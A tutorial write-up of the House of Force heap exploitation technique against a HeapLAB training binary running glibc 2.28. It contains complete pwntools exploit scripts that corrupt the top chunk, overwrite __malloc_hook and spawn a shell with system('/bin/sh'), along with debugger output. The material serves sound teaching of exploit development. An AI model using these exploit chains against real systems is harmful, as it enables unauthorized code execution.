House of Force
Introduction
Welcome to the first heap exploitation technique we’re going to cover: the House of Force.
The House of Force technique exploits the top chunk in the heap. The top chunk is a special chunk that represents the remaining free memory in the heap. When a large allocation request is made, malloc checks if the top chunk can satisfy the request. If so, it splits the top chunk and returns the requested memory.
By manipulating the size of the top chunk, an attacker can force malloc to return a pointer to an arbitrary memory location (e.g., GOT, stack, etc.). This allows the attacker to overwrite critical data structures and gain control of the program’s execution flow.
Top Chunk:
The top chunk is the last chunk in the heap and represents the remaining free memory. Its size is stored in its header.
Size Manipulation:
By overwriting the size field of the top chunk, an attacker can control where malloc allocates memory.
Arbitrary Write:
Once the attacker controls the allocation location, they can overwrite critical data structures.
Prerequisites
For the House of Force to work, several conditions must be met:
- Control over the size of a malloc request: You need to be able to allocate chunks with attacker-controlled sizes.
- Control over the top chunk size: You need to be able to overwrite the size field of the top chunk.
- No integrity checks: The target system must not have checks that prevent top chunk size manipulation.
I’ll be using the house_of_force
binary from the Course.
Step-by-Step Exploitation
Step 1: Identify the Vulnerability
The House of Force technique requires:
- Control over the size of a large allocation: The attacker must be able to allocate a chunk of arbitrary size.
- Ability to overwrite the top chunk size: The attacker must be able to overwrite the size field of the top chunk.
Step 2: Overwrite the Top Chunk Size
- Allocate a chunk and overflow it to overwrite the size field of the top chunk.
- Set the size to a very large value (e.g., 0xffffffffffffffff) to make malloc believe there is a huge amount of free memory.
Step 3: Force malloc to Return an Arbitrary Pointer
- Request a large allocation that, when added to the current heap pointer, results in the desired target address.
- Calculate the size of the allocation as:
size = target_address - current_heap_pointer - chunk_header_size
malloc
will return a pointer to the target address.
Step 4: Overwrite Critical Data
- Use the returned pointer to overwrite critical data structures (e.g., GOT, function pointers, etc.).
- Redirect execution to shellcode or a one-gadget.
Let’s do a hands on practice on House of Force Technique:
1. Overwrite the Top Chunk Size
The binary prompts for input and performs malloc
allocations. It prints a runtime address for puts()
and the current heap base address, which are useful information leaks for a teaching lab.
We can confirm this in pwndbg:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb ./house_of_force -q
pwndbg> r
Starting program: .../HeapLAB/01/house_of_force/house_of_force
===============
| HeapLAB | House of Force
===============
puts() @ 0x7ffff786df10
heap @ 0x603000
1) malloc 0/4
2) target
3) quit
>
Press Ctrl+C to interrupt the running program and return to the debugger prompt.
Using pwndbg’s xinfo
command we can inspect those addresses:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> xinfo 0x7ffff786df10
Extended information for virtual address 0x7ffff786df10:
Containing mapping:
0x7ffff7800000 0x7ffff79ac000 r-xp 1ac000 0 /home/fury/Desktop/Final_Path/ExpDevG0d/HeapExp/HeapLAB/01/.glibc/glibc_2.28_no-tcache/libc-2.28.so
Offset information:
Mapped Area 0x7ffff786df10 = 0x7ffff7800000 + 0x6df10
File (Base) 0x7ffff786df10 = 0x7ffff7800000 + 0x6df10
File (Segment) 0x7ffff786df10 = 0x7ffff7800000 + 0x6df10
File (Disk) 0x7ffff786df10 = .../HeapLAB/01/.glibc/glibc_2.28_no-tcache/libc-2.28.so + 0x6df10
Containing ELF sections:
.text 0x7ffff786df10 = 0x7ffff7821630 + 0x4c8e0
This confirms that the leaked puts()
address lies inside the program’s mapped libc
image.
1
2
3
4
5
6
7
8
9
pwndbg> xinfo 0x603000
Extended information for virtual address 0x603000:
Containing mapping:
0x603000 0x624000 rw-p 21000 0 [heap]
Offset information:
Mapped Area 0x603000 = 0x603000 + 0x0
This shows that 0x603000
is inside the process heap.
Let’s use the following pwntools template to launch the binary, grab the leaked puts
and heap addresses, compute the libc base, and drive simple menu actions. We will be sending 'A'*24+p64(0xdeadbeef)
which will overwrite the top_chunk size.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF(args.EXE or './house_of_force')
libc = exe.libc
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
# Function to get leaked addresses
def leak_addresses():
io.recvuntil(b'puts() @ ')
puts_address = int(io.recvline().strip(), 16)
io.recvuntil(b'heap @ ')
heap_address = int(io.recvline().strip(), 16)
return puts_address, heap_address
# malloc()
def malloc(size, data):
io.sendline(b'1')
sleep(0.3)
io.sendline(size)
sleep(0.3)
io.sendline(data)
# target()
def target():
io.recvuntil(b'> ')
io.sendline(b'2')
# -- Exploit goes here --
io = start()
puts_address, heap_address = leak_addresses()
log.info(f"Leaked puts address: {hex(puts_address)}")
log.info(f"Leaked heap address: {hex(heap_address)}")
libc_base = puts_address - libc.symbols['puts']
log.info(f"Leaked libc base {hex(libc_base)}")
malloc(b'24',b'A'*24+p64(0xdeadbeef))
io.interactive()
We send the payload b'A'*24 + p64(0xdeadbeef)
, which overwrites the top-chunk size field in the heap metadata:
1
payload = b'A' * 24 + p64(0xdeadbeef)
The tbreak
command sets a breakpoint, but it is temporary. This means that it is automatically deleted after it is hit for the first time.
1
./exploit.py GDB NOASLR
On Ctrl+C in GDB and using vis
command for visualizing chunks of heap
section we can see that:
1
2
3
4
5
6
7
8
9
pwndbg> vis
0x603000 0x0000000000000000 0x0000000000000021 ........!.......
0x603010 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603020 0x4141414141414141 0x00000000deadbeef AAAAAAAA........ <-- Top chunk
pwndbg> top_chunk
Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x603020
Size: 0xdeadbee8 (with flag bits: 0xdeadbeef)
What does this means
- The 8‑byte value we wrote into the top-chunk size field is
0xdeadbeef
. - In glibc chunk headers the low 3 bits are flags (
PREV_INUSE
=0x1
,IS_MMAPPED
=0x2
,NON_MAIN_ARENA
=0x4
), so the allocator interprets the actual usable size as the written value with those low bits cleared. - Masking out the low 3 bits yields
0xdeadbeef & ~0x7 = 0xdeadbee8
. That’s whypwndbg
prints the top chunk Size as0xdeadbee8
while also showing the raw flag bits as0xdeadbeef
— the allocator reports the masked size and the flags separately. - The
top_chunk
summary also enumerates the three flag bits (PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
) because the low bits you wrote were0x7
.
2. Force a Large Allocation
Now we overwrite the top-chunk size field with a very large value (for example 0xffffffffffffffff
) to make the allocator treat the top chunk as huge:
1
2
3
4
5
6
7
8
9
10
pwndbg> vis
0x603000 0x0000000000000000 0x0000000000000021 ........!.......
0x603010 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603020 0x4141414141414141 0x0fffffffffffffff AAAAAAAA........ <-- Top chunk
pwndbg> top_chunk
Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x603020
Size: 0xffffffffffffff8 (with flag bits: 0xfffffffffffffff)
This makes malloc believe there’s virtually unlimited memory available.
usable_size = raw_size & ~0x7
= 0xffffffffffffffff & ~0x7
= 0xfffffffffffffff8
That’s why pwndbg
reports the top chunk size as 0xfffffffffffffff8
while also showing the raw bits you wrote.
With the top chunk appearing extremely large, carefully chosen future malloc
requests can advance the top chunk to attacker-controlled addresses — this is the core idea behind House of Force.
3. Overwrite the Target (Arbitrary Write)
Let’s achieve arbitrary write. We will try to overwrite the target
variable. As the binary is having PIE disabled, address of target
will not change.
As we have overwritten top_chunk
size field. Now we will wrap around the VA space and will request data such that we will just approach the target
location.
Note: When I say “wrap around VA space” — what we actually do is advance the top chunk by requesting a very large allocation so that the returned user pointer is positioned just before
target
. This is how House of Force converts a corrupted top-chunk size into an arbitrary write target.
The target
variable is stored in .data
section.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ gdb ./house_of_force
pwndbg> r
# Ctrl + C
pwndbg> dq &target
0000000000602010 0058585858585858 0000000000000000
0000000000602020 0000000000000000 0000000000000000
0000000000602030 0000000000000000 0000000000000000
0000000000602040 0000000000000000 0000000000000000
pwndbg> xinfo &target
#...
Containing ELF sections:
.data 0x602010 = 0x602000 + 0x10
Memory map of a process
Source researchgate
When using malloc()
for memory allocation, the system typically allocates more memory than the requested size. The returned user pointer points to a memory block that includes:
- Metadata Region: The first 16 bytes are reserved for internal bookkeeping information.
- User Accessible Memory: The remaining bytes are available for the user’s data.
Memory Layout Metadata (16 bytes): Contains information about:
- Block size
- Allocation flags
- Memory management details
User Pointer: Points to the memory address immediately after the metadata, providing the actual usable memory space
Let’s define a distance()
function who calculates the distance between the target
and heap_addr
1
2
3
4
# distance()
def distance(startAddr, endAddr):
return (0xffffffffffffffff-startAddr) + endAddr
We need to calculate the allocation size that will position the next allocation at our target address.
1
malloc(str(distance).encode(), b'B'*((target - 0x20) - (heap_address + 0x20)))
We added heap_address + 0x20
to account for the first heap chunk allocation, and we just need to land before the target
so that our third allocation will overlap with the target
.
Use the following script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF(args.EXE or './house_of_force')
libc = exe.libc
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
# Function to get leaked addresses
def leak_addresses():
io.recvuntil(b'puts() @ ')
puts_address = int(io.recvline().strip(), 16)
io.recvuntil(b'heap @ ')
heap_address = int(io.recvline().strip(), 16)
return puts_address, heap_address
# malloc()
def malloc(size, data):
io.sendline(b'1')
sleep(0.3)
io.sendline(size)
sleep(0.3)
io.sendline(data)
# target()
def target():
io.recvuntil(b'> ')
io.sendline(b'2')
# distance()
def distance(startAddr, endAddr):
return (0xffffffffffffffff-startAddr) + endAddr
# -- Exploit goes here --
io = start()
puts_address, heap_address = leak_addresses()
log.info(f"Leaked puts address: {hex(puts_address)}")
log.info(f"Leaked heap address: {hex(heap_address)}")
libc.address = puts_address - libc.symbols['puts']
log.info(f"Leaked libc base {hex(libc.address)}")
# First malloc to setup top chunk
# malloc(b'24',b'A'*24+p64(0xdeadbeef))
malloc(b'24',b'A'*24+p64(0xffffffffffffffff))
# Second malloc to get chunk overlapping target
# Calculate distance to target
target_addr = exe.symbols['target']
log.info(f"Target variable address: {hex(target_addr)}")
top_chunk_addr = heap_address + 0x20
log.info(f"Top chunk address: {hex(top_chunk_addr)}")
dist = distance(top_chunk_addr, target_addr - 0x20)
malloc(str(dist).encode(), b'B'*32)
sleep(1)
# Third malloc to overwrite target
malloc(b'24', b'HACKED!')
io.interactive()
You can verify this:
1
2
3
4
5
6
7
8
9
10
$ ./arb_write.py GDB NOASLR
#...
> size: data:
1) malloc 3/4
2) target
3) quit
> $ 2
target: HACKED!
You can also use:
1
2
3
4
dist = distance(
heap_address + 0x30, # Current top chunk location + header size
target_addr - 0x10 # Where we want new chunk header
)
Why +0x30?
- heap_addr + 0x20 → top chunk starts here
- +0x10 → account for top chunk’s own header = heap_addr + 0x30
Why -0x10?
- malloc returns address AFTER chunk header
- So header must be 0x10 bytes before target = targetVar - 0x10
4. Targeting __malloc_hook
for Code Execution
Now let’s demonstrate a more practical exploitation by targeting __malloc_hook
instead of the target
variable. This allows us to gain code execution when malloc
is called.
What is __malloc_hook
?
__malloc_hook
was a function pointer variable located in glibc’s writable data section that allowed developers to intercept and debug memory allocation calls. When set to a non-NULL value, any call to malloc()
would first invoke the function pointed to by __malloc_hook
.
Key Properties:
- Located in libc’s writable data segment
- Executed before every
malloc()
call - Perfect target for control flow hijacking
- At a fixed offset from the libc base address
Note:
__malloc_hook
(and related hooks like__free_hook
,__realloc_hook
) were removed in glibc 2.34+ as a security hardening measure. This technique applies to older glibc versions (typically < 2.34).
Why Target __malloc_hook
?
Malloc hooks were particularly dangerous for attackers because:
- Reliable Location: Unlike stack or heap addresses,
__malloc_hook
resides at a fixed offset from the libc base - Automatic Execution: Any subsequent
malloc()
call automatically triggers the hook - Bypasses ASLR: With a libc leak, the address becomes predictable
- Widespread Vulnerability: Most programs use dynamic memory allocation
Step-by-Step __malloc_hook
Attack
Step 1: Locate __malloc_hook
1
2
3
4
# Calculate libc base from leaked puts address
libc_base = puts_address - libc.symbols['puts']
malloc_hook_addr = libc_base + libc.symbols['__malloc_hook']
log.info(f"__malloc_hook address: {hex(malloc_hook_addr)}")
Step 2: Calculate Allocation Distance
Determine the size needed to position the heap so the next allocation returns a pointer to __malloc_hook
:
1
2
3
4
5
# Current top chunk location after first allocation
current_top = heap_address + 0x20
# We want the next allocation to return __malloc_hook's address
# distance = (libc.address + 0x3afc10 - 0x20) - (heap_addr + 0x20)
Step 3: Overwrite __malloc_hook
The next allocation will return a pointer to __malloc_hook
:
1
2
3
4
5
# Overwrite __malloc_hook with 0xdeadbeef
# malloc((libc.address + 0x3afc10 - 0x10) - (heap_addr + 0x30), p64(0xdeadbeef))
# OR
# Overwrite __malloc_hook with one-gadget or system address
Step 4: Trigger Execution
Call malloc
to trigger the overwritten hook:
1
2
3
# This malloc call will execute our one-gadget
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'size: ', b'24')
Now let’s put everything together and demonstrate the complete exploitation chain. The final step is triggering our overwritten __malloc_hook
to gain code execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
io = start()
puts_address, heap_address = leak_addresses()
log.info(f"Leaked puts address: {hex(puts_address)}")
log.info(f"Leaked heap address: {hex(heap_address)}")
libc.address = puts_address - libc.symbols['puts']
log.info(f"Leaked libc base {hex(libc.address)}")
# Calculate libc base from leaked puts address
malloc_hook_addr = libc.symbols['__malloc_hook']
log.info(f"__malloc_hook address: {hex(malloc_hook_addr)}")
# First malloc to setup top chunk
# malloc(b'24',b'A'*24+p64(0xdeadbeef))
malloc(b'24',b'A'*24+p64(0xffffffffffffffff))
# Second malloc to get chunk overlapping target
# Calculate distance to target
target_addr = exe.symbols['target']
log.info(f"Target variable address: {hex(target_addr)}")
top_chunk_addr = heap_address + 0x20
log.info(f"Top chunk address: {hex(top_chunk_addr)}")
dist = (malloc_hook_addr - 0x20) - (heap_address + 0x20)
malloc(str(dist).encode(), b'B'*32)
sleep(1)
# Third malloc to overwrite __malloc_hook
malloc(b'24', p64(0xdeadbeef))
io.interactive()
When you use this script and you dump quad words at __malloc_hook
, you will find 0xdeadbeef
-
1
2
3
4
5
6
pwndbg> dq &__malloc_hook
00007ffff7bafc10 00000000deadbeef 000000000000000a
00007ffff7bafc20 0000000000000000 ffff800008a533f9
00007ffff7bafc30 0000000000000000 0000000000000000
00007ffff7bafc40 0000000000000000 0000000000000000
Our next allocation, malloc
will call __malloc_hook
which is overwritten with 0xdeadbeef
.
1
2
3
4
5
6
1) malloc 3/4
2) target
3) quit
> $ 1
size: $ 24
In pwndbg
terminal you’ll find -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0xdeadbeef
RBX 0
*RCX 0
*RDX 0xffffffffffffffe8
*RDI 0x18
*RSI 0x40098a (main+371) ◂— mov rdx, rax
*R8 0x7fffffffe042 ◂— 0xa /* '\n' */
*R9 0
*R10 0x7ffff79618c0 (_nl_C_LC_CTYPE_toupper+512) ◂— add byte ptr [rax], al
*R11 0xa
R12 0x400730 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe1b0 ◂— 1
R14 0
R15 0
*RBP 0x7fffffffe0d0 —▸ 0x400ab0 (__libc_csu_init) ◂— push r15
*RSP 0x7fffffffe078 —▸ 0x40098a (main+371) ◂— mov rdx, rax
*RIP 0xdeadbeef
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
Invalid address 0xdeadbeef
5. Getting Shell - Practical Code Execution
Now that we’ve demonstrated control flow hijacking with 0xdeadbeef
, let’s turn this into real code execution by getting a shell. We’ll explore several methods to achieve this.
Method 1: Using One-Gadget RCE
One-gadgets are addresses in libc that spawn a shell when jumped to directly.
Find One-Gadgets
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ldd house_of_force
linux-vdso.so.1 (0x00007ffc983fe000)
libc.so.6 => ../.glibc/glibc_2.28_no-tcache/libc.so.6 (0x000074654fc00000)
../.glibc/glibc_2.28_no-tcache/ld.so.2 => /lib64/ld-linux-x86-64.so.2 (0x000074655014f000)
$ one_gadget ../.glibc/glibc_2.28_no-tcache/libc.so.6
0x419f6 execve("/bin/sh", rsp+0x30, environ)
constraints:
address rsp+0x40 is writable
rax == NULL || {rax, "-c", r12, NULL} is a valid argv
0x41a4a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xdf681 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
Just try to use libc.address + one_gadget
in place of 0xdeadbeef
1
malloc(b'24', p64(libc.address + one_gadget))
None of these worked for me…
Method 2: Calling system(“/bin/sh”)
If one-gadgets don’t work due to constraint issues, we can call system("/bin/sh")
directly.
We will overwrite __malloc_hook
with the system()
address we get from libc. When __malloc_hook
is called, the first argument (size requested from malloc) will be passed as the argument to system()
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -- Exploit goes here --
io = start()
puts_address, heap_address = leak_addresses()
log.info(f"Leaked puts address: {hex(puts_address)}")
log.info(f"Leaked heap address: {hex(heap_address)}")
libc.address = puts_address - libc.symbols['puts']
log.info(f"Leaked libc base {hex(libc.address)}")
# Calculate libc base from leaked puts address
malloc_hook_addr = libc.symbols['__malloc_hook']
log.info(f"__malloc_hook address: {hex(malloc_hook_addr)}")
# First malloc to setup top chunk
# malloc(b'24',b'A'*24+p64(0xdeadbeef))
malloc(b'24',b'A'*24+p64(0xffffffffffffffff))
# Second malloc to get chunk overlapping target
# Calculate distance to target
target_addr = exe.symbols['target']
log.info(f"Target variable address: {hex(target_addr)}")
top_chunk_addr = heap_address + 0x20
log.info(f"Top chunk address: {hex(top_chunk_addr)}")
dist = (malloc_hook_addr - 0x20) - (heap_address + 0x20)
malloc(str(dist).encode(), b'B'*32)
sleep(1)
# Third malloc to overwrite __malloc_hook
# malloc(b'24', p64(0xdeadbeef))
# system()
system_addr = libc.symbols['system']
log.info(f"system() address: {hex(system_addr)}")
malloc(b'24', p64(system_addr))
# Next find '/bin/sh' string in libc
binsh_address = next(libc.search(b'/bin/sh'))
log.info(f"'/bin/sh' string address: {hex(binsh_address)}")
# Trigger __malloc_hook by calling malloc again which will call system('/bin/sh')
malloc(str(binsh_address).encode(), b'')
io.interactive()
If we don’t want to use next(libc.search(b'/bin/sh'))
to find the "/bin/sh"
string in libc, we can write our own "/bin/sh\x00"
string during the first allocation and pass its address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -- Exploit goes here --
io = start()
puts_address, heap_address = leak_addresses()
log.info(f"Leaked puts address: {hex(puts_address)}")
log.info(f"Leaked heap address: {hex(heap_address)}")
libc.address = puts_address - libc.symbols['puts']
log.info(f"Leaked libc base {hex(libc.address)}")
# Calculate libc base from leaked puts address
malloc_hook_addr = libc.symbols['__malloc_hook']
log.info(f"__malloc_hook address: {hex(malloc_hook_addr)}")
# First malloc to setup top chunk
# malloc(b'24',b'A'*24+p64(0xdeadbeef))
# malloc(b'24',b'A'*24+p64(0xffffffffffffffff))
payload = b'/bin/sh\x00'
payload += b'A' * (24 - len(payload))
payload += p64(0xffffffffffffffff)
malloc(b'24', payload)
# Second malloc to get chunk overlapping target
# Calculate distance to target
target_addr = exe.symbols['target']
log.info(f"Target variable address: {hex(target_addr)}")
top_chunk_addr = heap_address + 0x20
log.info(f"Top chunk address: {hex(top_chunk_addr)}")
dist = (malloc_hook_addr - 0x20) - (heap_address + 0x20)
malloc(str(dist).encode(), b'B'*32)
sleep(1)
# Third malloc to overwrite __malloc_hook
# malloc(b'24', p64(0xdeadbeef))
# system()
system_addr = libc.symbols['system']
log.info(f"system() address: {hex(system_addr)}")
malloc(b'24', p64(system_addr))
# Next find '/bin/sh' string in libc
binsh_address = next(libc.search(b'/bin/sh'))
log.info(f"'/bin/sh' string address: {hex(binsh_address)}")
# Trigger __malloc_hook by calling malloc again which will call system('/bin/sh')
# malloc(str(binsh_address).encode(), b'')
malloc(str(heap_address+0x10).encode(), b'')
# As already cleared we start writing from heap_address + 0x10
io.interactive()
The exploit output demonstrates successful code execution:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ./exp.py
#...
[+] use_of_force': pid 159704
[*] Leaked puts address: 0x74a28b86df10
[*] Leaked heap address: 0x11dcd000
[*] Leaked libc base 0x74a28b800000
[*] __malloc_hook address: 0x74a28bbafc10
[*] Target variable address: 0x602010
[*] Top chunk address: 0x11dcd020
[*] system() address: 0x74a28b841b70
[*] '/bin/sh' string address: 0x74a28b977375
[*] Switching to interactive mode
> size: $ whoami
fury
Conclusion
The House of Force technique demonstrates how a seemingly limited heap overflow vulnerability can be transformed into full code execution.
Defensive Implications:
- Top Chunk Integrity Checks: Newer glibc versions validate top chunk sizes
- Hook Removal:
__malloc_hook
and related hooks were removed in glibc 2.34+ - Enhanced Randomization: Improved ASLR and heap layout randomization
- Tcache Hardening: Additional security checks in modern heap implementations